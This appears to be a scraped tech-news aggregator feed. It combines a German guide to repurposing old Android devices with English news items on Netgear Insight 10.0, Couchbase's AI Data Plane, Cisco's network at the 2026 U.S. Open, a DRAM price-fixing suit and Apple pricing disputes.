<p>Eine unterbrechungsfreie Leseumgebung kann sich auf Geschäftsreisen oder im Pendelstress als sehr wertvoll erweisen. Um Ihr altes <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Telefon oder –<a href="https://www.computerwoche.de/k/tablet-pc,3453" target="_blank" class="idgGlossaryLink">Tablet</a> zu diesem Zweck zu nutzen, brauchen Sie ein weiteres Mal nur die richtige App – zum Beispiel:</p>



<ul class="wp-block-list">
<li><p><a title="Google Play Bücher" href="https://play.google.com/store/apps/details?id=com.google.android.apps.books" target="_blank" rel="noopener">Google Play Bücher</a>,</p></li>



<li><p><a title="Amazon Kindle" href="https://play.google.com/store/apps/details?id=com.amazon.kindle" target="_blank" rel="noopener">Amazon Kindle</a> oder</p></li>



<li><p><a title="Nook" href="https://play.google.com/store/apps/details?id=bn.ereader" target="_blank" rel="noopener">Nook</a>.</p></li>
</ul>



<p>Nach der Installation deaktivieren Sie App-Benachrichtigungen oder wechseln Sie einfach in den Flugmodus, um ungestört in bestem E-Reader-Stil zu schmökern.</p>



<h2 class="wp-block-heading">14. Audio-Player</h2>



<p>Was für den Lesegenuss gilt, gilt auch für den Hörgenuss: Wer Wert darauf legt, dabei die Zwänge seines Smartphones hinter sich zu lassen, tut gut daran, diesen Task an ein <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Altgerät auszulagern. Dazu brauchen Sie noch nicht einmal eine App.</p>



<h2 class="wp-block-heading">15. Digitaler Tischkalender</h2>



<p>Auch um ein abgelegtes <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a> Device zum digitalen Tischkalender zu machen, brauchen Sie nicht viel. Lediglich eine Docking-Station und eine qualitativ hochwertige Kalender-App. Geht es um Letztere, stechen zwei Google-Play-Store-Optionen heraus – nämlich:</p>



<ul class="wp-block-list">
<li><p><a title="Google Kalender" href="https://play.google.com/store/apps/details?id=com.google.android.calendar" target="_blank" rel="noopener">Google Kalender</a> sowie</p></li>



<li><p><a title="DigiCal Kalender" href="https://play.google.com/store/apps/details?id=com.digibites.calendar" target="_blank" rel="noopener">DigiCal Kalender</a>.</p></li>
</ul>



<p>Dabei zeichnet sich die DigiCal-App insbesondere durch ihr anpassbares Interface aus. Die 5,49 Euro teure, <a href="https://play.google.com/store/apps/details?id=com.digibites.calendarplus" title="kostenpflichtige Variante der App" target="_blank" rel="noopener">kostenpflichtige Variante der App</a> bietet weitere Konfigurationsoptionen und Themes.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Die DigiCal-Kalender-App kann ihre visuellen Vorzüge vor allem im Querformat ausspielen." title="Die DigiCal-Kalender-App kann ihre visuellen Vorzüge vor allem im Querformat ausspielen." src="https://images.computerwoche.de/bdb/3392724/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Die DigiCal-Kalender-App kann ihre visuellen Vorzüge vor allem im Querformat ausspielen.</p></figcaption></figure><p class="imageCredit">
					Foto: JR Raphael | IDG</p></div>




<h2 class="wp-block-heading">16. Auto-Navigationssystem</h2>



<p>Wenn Ihr Auto nicht bereits ab Werk mit einem Navigationssystem ausgestattet ist, können Sie ausgemusterte <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Gerätschaften auch dazu umfunktionieren. Dazu brauchen Sie lediglich eine passende Docking-Station für Ihr Fahrzeug, einen mobilen Hotspot – und die Google Maps App. </p>



<p>Falls Sie Ihr Primär-Smartphone nicht als Hotspot nutzen können oder wollen, können Sie alternativ auch die benötigten Routen über eine WLAN-Verbindung herunterladen und sie anschließend offline nutzen. Das funktioniert auch per Sprachbefehl, insofern das alte Gerät Support für den Google Assistant mitbringt. </p>



<h2 class="wp-block-heading">17. Lernwerkzeug</h2>



<p>Abgelegte <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Geräte eignen sich unter Umständen auch gut als Lern- und Spiel-Gagdets für Ihre Kinder. Dazu können Sie relativ einfach ein eingeschränktes Benutzerprofil einrichten – die Google-Support-Seite gibt darüber Auskunft, <a href="https://support.google.com/android/answer/2865483?hl=de" title="wie das im Detail vonstatten geht" target="_blank" rel="noopener">wie das im Detail vonstatten geht</a>. </p>



<p>Wenn Ihr <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Altgerät über Android 7.0 (oder höher) verfügt, stehen Ihnen darüber hinaus über <a href="https://play.google.com/store/apps/details?id=com.google.android.apps.kids.familylink" title="Googles Familiy-Link-App" target="_blank" rel="noopener">Googles Familiy-Link-App</a> zusätzliche Tools zur Verfügung, um den Geräte- und App-Zugriff zu kontrollieren beziehungsweise zu limitieren.</p>



<h2 class="wp-block-heading">18. Digitaluhr</h2>



<p>Die Investition in einen neuen Wecker können Sie sich ebenfalls sparen, wenn Sie einfach ein altes <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Telefon für diesen Zweck einsetzen. Die kostenlose <a href="https://play.google.com/store/apps/details?id=com.google.android.deskclock" target="_blank" rel="noopener">Google-App “Uhr”</a> ist dazu ideal geeignet.</p>



<h2 class="wp-block-heading">19. Spende</h2>



<p>Sollten die bisherigen Optionen Sie nicht überzeugt haben, können Sie Ihre alten <a class="idgGlossaryLink" href="https://www.computerwoche.de/mobile/" target="_blank">Android</a> Devices auch dazu einsetzen, etwas Gutes zu tun – zum Beispiel, indem Sie sie im Rahmen folgender Projekte spenden:</p>



<ul class="wp-block-list">
<li><p><a title="Handys für die Umwelt" href="https://www.handysfuerdieumwelt.de/" target="_blank" rel="noopener">Handys für die Umwelt</a></p></li>



<li><p><a title="Recycling4smile" href="https://www.rotenasen.de/unterstuetzen/anderweitig-helfen/alte-handys-und-druckerpatronen-spenden/" target="_blank" rel="noopener">Rote Nasen “Recycling4smile”</a></p></li>



<li><p><a title="Pro Wildlife Althandy-Sammelaktion" href="https://www.prowildlife.de/aktuelles/mitmachaktion/handys-sammeln-spenden/" target="_blank" rel="noopener">Pro Wildlife Althandy-Sammelaktion</a></p></li>
</ul>



<p>(fm)</p>



<p><strong>Dieser Artikel ist <a href="https://www.computerworld.com/article/1519799/20-great-uses-for-an-old-android-device.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Computerworld.com erschienen.</strong></p>
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<title><![CDATA[Netgear brings AI-driven network management to SMEs and MSPs]]></title>
<description><![CDATA[Netgear today announced Insight 10.0, the latest version of its cloud-based network management platform, which adds new AI-powered capabilities designed to help small and midsize enterprises (SMEs) and managed service providers (MSPs) simplify network management, improve visibility, and reduce ma...]]></description>
<link>https://tsecurity.de/de/3636755/it-security-nachrichten/netgear-brings-ai-driven-network-management-to-smes-and-msps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636755/it-security-nachrichten/netgear-brings-ai-driven-network-management-to-smes-and-msps/</guid>
<pubDate>Tue, 30 Jun 2026 22:08:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Netgear today announced <a href="https://www.netgear.com/business/insight" target="_blank" rel="noreferrer noopener">Insight 10.0</a>, the latest version of its cloud-based network management platform, which adds new AI-powered capabilities designed to help small and midsize enterprises (SMEs) and managed service providers (MSPs) simplify network management, improve visibility, and reduce manual tasks.</p>



<p>The company says the release represents a significant step toward AI-powered network operations and lays the foundation for future <a href="https://www.networkworld.com/article/4186427/cisco-ai-growth-is-exposing-campus-network-limits.html" target="_blank">AI-defined networking capabilities</a>.</p>



<p>“The future of networking is about giving organizations the intelligence to operate increasingly complex environments with confidence,” said <a href="https://www.linkedin.com/in/badjate/" target="_blank" rel="noreferrer noopener">Pramod Badjate</a>, president and general manager of Netgear Enterprise, in a <a href="https://www.netgear.com/hub/pressroom/enterprise/insight-10-ai-network-management/" target="_blank" rel="noreferrer noopener">statement</a>. “As AI transforms every business, networks must become more adaptive, more automated, and easier to operate. Insight 10.0 is the foundation of our vision of AIOps and AI-defined networking for the millions of small and medium-sized organizations that have historically been underserved by enterprise networking solutions.”</p>



<p>The company says organizations face growing network complexity driven by AI applications, cloud services, connected devices, and distributed workforces. And according to Netgear, many SMEs lack the IT resources available to large enterprises and need tools that can automate routine tasks.</p>



<p>Insight 10.0 addresses SME and MSP challenges by combining cloud-native management, automation, and AI-driven capabilities in a single platform, according to Netgear.</p>



<p>Netgear highlighted several new capabilities in the latest Insight release, including:</p>



<ul class="wp-block-list">
<li>AI-powered operations
<ul class="wp-block-list">
<li>Contextual insights to help identify issues faster</li>



<li>Proactive recommendations for troubleshooting and optimization</li>



<li>AI-assisted workflows designed to reduce manual effort</li>



<li>Support for more predictive network operations</li>
</ul>
</li>



<li>Unified visibility and network intelligence
<ul class="wp-block-list">
<li>Centralized visibility into network performance</li>



<li>Monitoring of device health, connectivity, and user experience</li>



<li>Actionable intelligence derived from operational data</li>



<li>Faster decision-making through a single management interface</li>
</ul>
</li>



<li>Simplified management at scale
<ul class="wp-block-list">
<li>Streamlined navigation and workflows</li>



<li>Flexible access controls</li>



<li>Simplified subscription management</li>



<li>Support for managing multiple sites, devices, users, and customer environments</li>
</ul>
</li>



<li>Cloud-native architecture
<ul class="wp-block-list">
<li>Centralized cloud management</li>



<li>Designed for continuous availability and resilient operations</li>



<li>Support for distributed network environments</li>



<li>Foundation for future AI-defined networking capabilities</li>
</ul>
</li>
</ul>



<p>Netgear says Insight 10.0 <a href="https://www.networkworld.com/article/4102599/ai-driven-network-management-gains-enterprise-trust.html" target="_blank">combines AI operations</a>, automation, cloud-native management, and operational intelligence to support that shift, according to the company. The platform is intended to help IT teams move from reactive troubleshooting toward more proactive operations.</p>



<p>Netgear customer Kenny Red, CTO at CTI, said the release improves onboarding, troubleshooting, and network configuration processes, areas that can consume significant time for systems integrators and service providers.</p>



<p>“We’ve had NETGEAR switches deployed across our own locations for years, and we’ve been part of the Insight development process since beta. The [Insight] 10.0 release reflects the feedback we gave—the interface is sharper, onboarding is faster, and the platform handles the two things that cost integrators the most time: post-deployment troubleshooting and manual network configuration. That’s a meaningful change, and it shows up in how we deliver,” Red said, in a <a href="https://www.businesswire.com/news/home/20260630032112/en/NETGEAR-Introduces-the-Next-Generation-of-Insight-Advancing-the-Future-of-AI-Driven-Network-Management" target="_blank" rel="noreferrer noopener">statement</a>.</p>



<p>Netgear Insight 10.0 is available now.</p>
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<title><![CDATA[AI agents need context everywhere they run, even where the cloud can't follow]]></title>
<description><![CDATA[The competitive edge in enterprise AI is shifting to context: which platform can give an agent the right memory, the right retrieval and the right data at the moment of decision.Couchbase on Tuesday announced its AI Data Plane, combining persistent agent memory, real-time context retrieval and an...]]></description>
<link>https://tsecurity.de/de/3636043/it-nachrichten/ai-agents-need-context-everywhere-they-run-even-where-the-cloud-cant-follow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636043/it-nachrichten/ai-agents-need-context-everywhere-they-run-even-where-the-cloud-cant-follow/</guid>
<pubDate>Tue, 30 Jun 2026 17:03:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The competitive edge in enterprise AI is shifting to context: which platform can give an agent the right memory, the right retrieval and the right data at the moment of decision.</p><p>Couchbase on Tuesday announced its AI Data Plane, combining persistent agent memory, real-time context retrieval and an enterprise-managed MCP server in a single operational platform. </p><p>Couchbase's roots are in <a href="https://venturebeat.com/ai/enterprise-ai-gets-closer-to-data-with-couchbases-new-capella-ai-services">caching and high-transaction databases</a> — an architecture the company argues makes it better suited for agent memory than vendors that came to the problem from search or analytics. The AI Data Plane runs identically across cloud, on-premises and disconnected edge environments, extending agent memory and local vector search to devices with no network connection.</p><p>"How do you make sure that the intelligence that you get out of these models are the ones that databases specialize in?" Gopi Duddi, CTO at Couchbase, told VentureBeat. "How can you get that value out of storage systems, which are still going to be databases?"</p><h2>What the AI Data Plane delivers</h2><p>The AI Data Plane packages three components designed to replace the fragmented stacks most enterprises are currently running.</p><p><b>Agent memory:</b> A unified persistence layer for conversational context, structured operational data and vector embeddings. Couchbase says the guardrails are what distinguish it from standalone memory services: token constraints per session, time-to-live limits on stored memories and metering controls that cap compute consumption per agent session.</p><p><b>Enterprise MCP server:</b> An enterprise-supported self-managed server for standardized model-context protocol integration, shipping as part of the platform rather than requiring a separate service.</p><p><b>Agent catalog:</b> A function-level catalog of discoverable agent tooling built by Couchbase. Duddi distinguished it from metadata catalogs like Databricks Unity or AWS Glue — describing it, in his words, as closer to a glorified MCP that surfaces agent functions as callable tools within the platform.</p><h2>Memory-first architecture takes agent context to the disconnected edge</h2><p>The lineage of Couchbase and its core architectural foundation is what Duddi says gives it an edge when it comes to context.</p><p>"We were a cache before we became a database," Duddi said.</p><p>Writing to memory is 10x faster than writing to disk, Duddi said — a speed advantage he argues separates Couchbase from NoSQL databases that layer memory workloads on top of disk-based storage.</p><p>Couchbase isn't the only data technology that has its roots in a caching layer. Redis similarly is rooted in cache and also<a href="https://venturebeat.com/data/context-architecture-is-replacing-rag-as-agentic-ai-pushes-enterprise-retrieval-to-its-limits"> recently announced</a> an agentic AI context layer. Duddi argued that Couchbase is different in that it maintains an ACID (Atomicity, Consistency, Isolation, and Durability) compliant database which matters for transactional workloads. Couchbase also has a long history across multiple deployment modalities.</p><p>That architecture extends to the edge through Couchbase Lite, the platform's on-device runtime. It runs SQL, full-text search and vector search locally without a network connection, using a proprietary sync mechanism to replicate bidirectionally back to cloud or between edge nodes when connectivity returns. The target environments are retail floor operations, field service, industrial deployments and regulated settings where agent data cannot leave the device.</p><p>Duddi cited hotel reservations as an early example: multiple agents serving customers concurrently, each pulling local context and running vector search on-device, with shared session memory synchronizing centrally. The practical benefit is token efficiency. Rather than every agent independently retrieving and processing the same data, the platform caches shared context so concurrent sessions draw on it without burning tokens repeatedly.</p><h2>Agora's view from production</h2><p>Agora, a platform that helps developers embed real-time voice, video and conversational AI into enterprise applications, has run Couchbase in production since February 2024.</p><p>The initial use case was its Signaling product, managing channel setup and state synchronization for live calls. Expanding into conversational AI agents brought stricter requirements: memory-first architecture, full JSON support for storage and query, cross-datacenter replication for high availability and enterprise-grade vendor support.</p><p>"Couchbase was the best fit based on these criteria," Patrick Ferriter, SVP of Product at Agora, told VentureBeat.</p><p>Agora is now extending that relationship to support context retrieval for conversational AI agents.</p><p>"This will simplify the architecture and deliver enterprise grade RAG with predictable lower latency required for conversational AI use cases," Ferriter said.</p><p>For data professionals trying to figure out the best approach to context, there is no one answer. On platform selection, Ferriter was direct.</p><p>"It depends on the preference and goals of the organization, including timing," Ferriter  said. "If they want something enterprise grade and optimal for immediate production and scale vs. having to optimize and maintain an open-source solution with community support. We wanted the former and that is why we looked at an expanded partnership with Couchbase."</p><h2>Competitive context: following the right trend</h2><p>The context layer has become a crowded space in 2025.</p><p>Oracle put a<a href="https://venturebeat.com/data/oracle-converges-the-ai-data-stack-to-give-enterprise-agents-a-single"> memory core</a> in its database back in March providing a context layer. Redis added a<a href="https://venturebeat.com/data/context-architecture-is-replacing-rag-as-agentic-ai-pushes-enterprise-retrieval-to-its-limits"> context layer</a> in May as did vector-native database vendor<a href="https://venturebeat.com/data/the-rag-era-is-ending-for-agentic-ai-a-new-compilation-stage-knowledge-layer-is-what-comes-next"> Pinecone</a>.  </p><p>"Couchbase is following this trend, not setting it, but it's the right one to follow," Devin Pratt, Research Director for AI, Automation, Data and Analytics at IDC, told VentureBeat. "Its real edge is reach, running the same platform from cloud to edge to mobile, which is how enterprises actually operate. The test now is to scale against bigger names."</p><p>For teams navigating the vendor landscape, Pratt's framing is direct. "Match the tool to the workload. Consolidate where it makes sense, use a specialized engine like a graph database where relationship-heavy reasoning earns it, and let governance drive the call rather than treating memory as plumbing," Pratt said.</p>]]></content:encoded>
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<title><![CDATA[U.S. Open powers up AI-ready network in challenging environment]]></title>
<description><![CDATA[Cisco’s work with the USGA at the 2026 U.S. Open at Shinnecock Hills Golf Club was a live testbed for what AI-ready networking and security look like in the wild — not in a lab, not in a climate-controlled data center, but across 18 holes of constantly changing terrain, crowds, and threats. It’s ...]]></description>
<link>https://tsecurity.de/de/3634437/it-security-nachrichten/us-open-powers-up-ai-ready-network-in-challenging-environment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634437/it-security-nachrichten/us-open-powers-up-ai-ready-network-in-challenging-environment/</guid>
<pubDate>Tue, 30 Jun 2026 05:19:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Cisco’s work with the <a href="https://www.usga.org/">USGA</a> at the 2026 U.S. Open at <a href="https://www.shinnecockhillsgolfclub.org/">Shinnecock Hills Golf Club</a> was a live testbed for what AI-ready networking and security look like in the wild — not in a lab, not in a climate-controlled data center, but across 18 holes of constantly changing terrain, crowds, and threats. It’s also a blueprint that network engineers in other industries can borrow as they grapple with the convergence of connectivity, security, and AI apps.</p>



<h2 class="wp-block-heading">Golf as a worst‑case network environment</h2>



<p>From a distance, it’s tempting to lump golf in with stadium or arena networking. The reality on the ground is very different. Stadiums offer a fixed concrete bowl and predictable RF patterns. A <a href="https://www.usopen.com/">U.S. Open</a> venue is effectively rebuilt every year: temporary structures, new hospitality layouts, shifting fiber routes, and a crowd that never sits still.</p>



<p>Christian Rodriguez, senior manager, IT operations, from the USGA’s technology team, captured that reality when he explained why they tear down and rebuild from scratch: No two championships share the same layout, ISP entry points, or even the placement of critical compounds. They don’t simply clone last year’s configs; they design for the specific course, topology, and constraints of that site. That level of contextual design is expensive, but it’s also the only way to avoid brittle architectures that fall apart as soon as the environment changes.</p>



<p>Environmental conditions add another layer of complexity. Anthony Santora, managing director of IT for the USGA, describes the championship network as a data center without the usual comforts. There’s dust, rain, wind, and wide temperature swings instead of clean, controlled air. Hardware resides in trailers and weatherproof enclosures, not in racks behind raised floor tiles. For network engineers who spend most of their time on office campuses and in colos, that’s an important reminder: Critical infrastructure increasingly sits in places that look nothing like a traditional wiring closet.</p>



<p>User behavior is just as hostile. The U.S. Open has its own term — the “Tiger effect” (though one could argue it’s now the Scottie effect) — for what happens when tens of thousands of fans follow a single golfer. The hot spot moves with the group, and the RF design must cope with a dense, moving cluster of devices. That pattern should sound familiar to anyone who supports large conferences or festivals; it’s the same phenomenon, just under a different name.</p>



<h2 class="wp-block-heading">Building an AI‑ready, fault‑tolerant course network</h2>



<p>Cisco’s answer to this environment is a fully redundant, mobile core design. Instead of a single large core in a building, the network collapses into dual trailers that serve as cores on the go, typically anchored at the NBC broadcast compound and another central location. Each core hosts Cisco Secure Firewall appliances, FMCs, core Catalyst switches, DHCP, UPS, and generators, all in pairs. Rodriguez was matter-of-fact about the philosophy: “We do everything in pairs as much as we can.” If one fails, its twin picks up the load.</p>



<p>From those cores, the team builds a ring topology around the course, using diverse fiber paths — including trenching fiber through wooded areas — to avoid single points of failure. Mobile IDF kits in cooled cabinets serve as distribution points, delivering connectivity to weatherproof access switches and Wi-Fi access points around hospitality tents, grandstands, and entry gates. Everything on the backbone operates at Layer 3, with HSRP (Hot Standby Routing Protocol) and routing redundancy to ensure that a single switch failure doesn’t take out large swaths of the network.</p>



<p>The scale of a golf course deployment is massive as well, with about 500 access points and more than 100 switches, many of them the latest <a href="https://www.networkworld.com/article/4135351/favorable-wi-fi-7-prices-wont-be-around-for-long-delloro-group-warns.html">Wi‑Fi 7</a> and campus platforms. What matters is not the absolute numbers but the duty cycle. Every TV, every POS terminal, every credential pedestal, every media workstation, and every fan device share this converged fabric during a compressed, high‑risk period. Santora points out the business impact in simple terms: If merchandise goes down for even five minutes, lines explode and fans walk away. There’s no “we’ll patch it on the next maintenance window.”</p>



<p>On the RF side, the <a href="https://www.networkworld.com/article/4092389/singapore-makes-the-leap-to-wi-fi-7-to-boost-fan-experience.html">shift to Wi‑Fi 7</a> is more than a speed upgrade. Santora’s team has seen real-world performance improvements — hundreds of megabits down in the middle of a packed media center – but the more important change is resilience under high density. When you combine wider channels, better scheduling, and smarter management with a dense deployment, you get something that can withstand the Tiger Effect and the crush of content creators and broadcasters.</p>



<p>That last group is critical. Rob Neumann from Cisco notes that at these events, upload traffic now dominates download traffic. Influencers, media teams, and fans are publishing in near-real time, and cellular uplink simply can’t keep up. High-capacity Wi-Fi with solid backhaul isn’t a luxury; it’s the only way to avoid a miserable experience for the most vocal, visible part of the audience.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="894" height="1024" sizes="auto, (max-width: 894px) 100vw, 894px"&gt;</figure><p class="imageCredit">Zeus Kerravala</p></div>



<h2 class="wp-block-heading">Security: Treat every device as untrusted</h2>



<p>If the connectivity story feels familiar, the security posture at the U.S. Open is where this deployment begins to diverge from more generic “converged stadium” narratives. Santora has to contend with “thousands of untrusted devices” each championship week: fans, vendors, media, broadcasters, and staff, many of whom plug in or connect to networks the USGA doesn’t control outside the event. The USGA is well aware of the risks: outages or breaches could lead to data and financial losses, as well as reputational damage that would undermine the organization’s core mission, not just its IT metrics.</p>



<p>Cisco Secure Firewall, AnyConnect, Duo, and other components form the core security stack, but how they’re used is the differentiator. Fan Wi‑Fi runs with strict isolation: every client is segmented, so lateral movement is essentially off the table. Neumann explains it simply — each fan has an isolated path out — but under the covers, you get VLAN separation, policy enforcement, and inspection that treat fan traffic as untrusted end-to-end.</p>



<p>The rest of the network is equally segmented. There’s a separate network for <a href="https://www.pgatour.com/shotlink">ShotLink</a> and everything “inside the ropes,” including scoring and betting feeds. Back-of-house traffic for staff, concessions, and retail runs on its own network. Remote POS systems are segmented again. Broadcast compounds and production systems have their own paths and policies. The result is a unified, converged physical fabric with tightly controlled logical overlays.</p>



<p>This is a pattern many enterprises discuss but struggle to implement: a single platform that carries many classes of traffic, each with its own risk profile, without collapsing into a flat, lateral-friendly network. The U.S. Open shows that it’s possible — but only if segmentation is treated as a core design principle, not an afterthought.</p>



<h2 class="wp-block-heading">Observability and AI security in the loop</h2>



<p>Security and availability at this scale demand observability. Here again, Santora’s team is in the middle of a transition many enterprises are grappling with: moving from reactive log-scraping to proactive, correlated telemetry.</p>



<p>Instead of manually combing through firewall and switch logs, the USGA and Cisco have built a pipeline into Splunk and Cisco’s observability tools. Neumann describes it as a single pane of glass across the network, but the more important point is what feeds that view: APs, switches, firewalls, cameras, and applications, all instrumented and reporting. When you combine that with full-stack observability, you can spot anomalies in real time, whether they’re performance issues or indicators of compromise.</p>



<p>That observability story extends to AI. One of the headline features of the renewed Cisco–USGA partnership is the AI-powered rules assistant: an application that lets golfers and fans ask complex rules questions in the USGA app and receive near-instant guidance. Under the hood, Santora’s team started with question–answer pairs and built a knowledge graph that now spans hundreds of topics and clusters. They also built an evaluation program that identifies outliers — questions the system struggles with — and feeds them back into human review.</p>



<p>Cisco AI Defense wraps the assistant with security controls. It’s not enough to get rules right; the system must resist prompt injection, data exfiltration, and other AI-specific threats that are increasingly appearing in the wild. The teams monitor usage, validate models, and protect applications at runtime against misuse or abuse. Perhaps most importantly, they keep a human override in place. If the system isn’t confident, it won’t answer; it escalates to rules experts rather than bluffing.</p>



<p>This is a model network engineers should watch as AI assistants and agents proliferate across other industries. The U.S. Open rules assistant isn’t treated as a toy or a sidecar; it’s a mission-critical application that resides within the same protected fabric as POS, scoring, and broadcast and is subject to the same observability and security rigor.</p>



<h2 class="wp-block-heading">Lessons for network engineers beyond golf</h2>



<p>Strip away the golf-specific details, and a set of lessons emerges:</p>



<ul class="wp-block-list">
<li><strong>Design for tough, not ease.</strong> Assume transient structures, unknown RF patterns, seasonal layout changes, and harsh environmental conditions. The U.S. Open team rebuilds from scratch for each venue; most enterprises don’t need to go that far, but they should at least validate designs against real-world changes rather than assuming a static topology.</li>



<li><strong>Make redundancy systemic.</strong> Dual cores, dual firewalls, ring topologies, HSRP, Layer 3 everywhere, spare hardware on site, and live failover drills are all part of the fabric. Redundancy isn’t a checkbox on a data sheet; it’s an operational discipline.</li>



<li><strong>Treat every device as untrusted.</strong> Fan devices, vendor systems, broadcast laptops, and staff phones all arrive with unknown posture. Segmentation — per-client isolation, dedicated networks for sensitive functions, and strong identity — is the only sustainable way to cope with that diversity.</li>



<li><strong>Upload is the new download.</strong> Traditional designs optimized for download traffic are increasingly misaligned with reality. Conferences, stadiums, and campuses now behave like the U.S. Open: content creators and collaborative apps push far more data than they pull. Wi-Fi 7 and modern campus platforms help, but you still need to design RF and backhaul with upload and lateral traffic in mind.</li>



<li><strong>Integrate observability and AI security from day one.</strong> Logs alone aren’t enough. Coherent telemetry, full-stack observability, and AI-focused security controls should be treated as first-class requirements, especially as AI assistants move into business-critical workflows.</li>
</ul>



<h2 class="wp-block-heading">Final thoughts</h2>



<p>Perhaps the most important takeaway is cultural rather than technical. Santora and his team position AI and automation as tools for scale, not as replacements for experts. The rules assistant accelerates responses and expands reach, but it still defers to human judgment when confidence is low. The network uses automation and observability to keep a complex environment running, but it still depends on experienced engineers, in trailers on-site, watching for issues and making decisions.</p>



<p>For network engineers in other industries, that’s a useful template: Build AI-ready, secure, observable networks that assume the worst about their environment, and pair them with human expertise that can adapt when reality inevitably diverges from the design.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="673" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">Zeus Kerravala</p></div>
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<title><![CDATA[Apple suppliers Samsung, SK hynix & Micron hit by RAM price fixing suit]]></title>
<description><![CDATA[Apple's largest memory suppliers are being sued in California, with consumers and small businesses alleging Samsung Electronics, SK hynix and Micron coordinated DRAM production cuts that drove up memory prices.Apple has a unified memory architecture for its chipsApple isn't accused of wrongdoing ...]]></description>
<link>https://tsecurity.de/de/3633827/ios-mac-os/apple-suppliers-samsung-sk-hynix-micron-hit-by-ram-price-fixing-suit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633827/ios-mac-os/apple-suppliers-samsung-sk-hynix-micron-hit-by-ram-price-fixing-suit/</guid>
<pubDate>Mon, 29 Jun 2026 20:52:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple's largest memory suppliers are being sued in California, with consumers and small businesses alleging Samsung Electronics, SK hynix and Micron coordinated DRAM production cuts that drove up memory prices.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68107-143564-IMG_7793-xl.jpg" alt="Close-up of a computer processor chip with a colorful central silicon die surrounded by four large black memory modules on a dark rectangular circuit board" height="720"><span>Apple has a unified memory architecture for its chips</span></div><br>Apple isn't accused of wrongdoing in the lawsuit. Samsung, SK hynix and Micron supply memory used across Apple's hardware lineup, putting the dispute much closer to customers than it might first appear.<br><br>The company has already raised prices on several <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a>, <a href="https://appleinsider.com/inside/ipad" title="iPad" data-kpt="1">iPad</a> and other products after saying higher RAM and storage costs had become too expensive to absorb. Court filings argue coordinated DRAM production cuts contributed to those higher costs, though the plaintiffs still have to prove that claim.<br><br>Court filings argue the shift reduced supplies of mainstream DRAM, including DDR3 and DDR4, and drove prices higher across the market. The allegations haven't been proven, and Micron denied the claims and said it will defend itself, according to <em>Investor's Business Daily</em>.<br><br><br> <a href="https://appleinsider.com/articles/26/06/29/apple-suppliers-samsung-sk-hynix-micron-hit-by-ram-price-fixing-suit?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244821?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Apple Reseller Reportedly Refuses to Ship Paid MacBook Pro Without Extra Payment]]></title>
<description><![CDATA[A MacBook Pro buyer in the U.K. says a reseller asked him to pay extra for an order he had already paid for before Apple raised its prices, creating another concern for customers waiting on high-end custom configurations.



According to the Reddit post, the buyer ordered an M5 Max MacBook Pro wi...]]></description>
<link>https://tsecurity.de/de/3633461/ios-mac-os/apple-reseller-reportedly-refuses-to-ship-paid-macbook-pro-without-extra-payment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633461/ios-mac-os/apple-reseller-reportedly-refuses-to-ship-paid-macbook-pro-without-extra-payment/</guid>
<pubDate>Mon, 29 Jun 2026 18:09:39 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A MacBook Pro buyer in the U.K. says a reseller asked him to pay extra for an order he had already paid for before Apple raised its prices, creating another concern for customers waiting on high-end custom configurations.



According to the Reddit post, the buyer ordered an M5 Max MacBook Pro with 128GB unified memory from KRCS on June 5 and paid the full amount at the time of purchase. The delivery date was listed as July 31, but the reseller later contacted him and said he must either pay the new price difference or accept a full refund.



The issue has drawn attention because the buyer says KRCS did not mention this practice in its terms and conditions. Since the order was already placed and paid for before the price hike, the customer believes the reseller should honor the original price.



The Redditor also said he contacted Apple for clarification, and Apple reportedly told him that it does not follow the same practice. That detail has made the case more serious for buyers who placed orders before Apple’s price changes reached resellers.



For now, the customer appears ready to push for delivery at the original price. The case also shows why buyers should save order confirmations, payment receipts, and reseller terms when purchasing expensive built-to-order Macs.]]></content:encoded>
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<title><![CDATA[The 16-Inch MacBook Pro Finally Hits A Five-Figure Price Tag]]></title>
<description><![CDATA[Apple has officially pushed the ceiling on how much you can spend on a laptop. Configuring a top-tier 16-inch MacBook Pro now requires a five-figure investment, a milestone that underscores the increasing cost of high-end mobile computing.



As noted by John Gruber in his thoughts on Daring Fire...]]></description>
<link>https://tsecurity.de/de/3633103/ios-mac-os/the-16-inch-macbook-pro-finally-hits-a-five-figure-price-tag/</link>
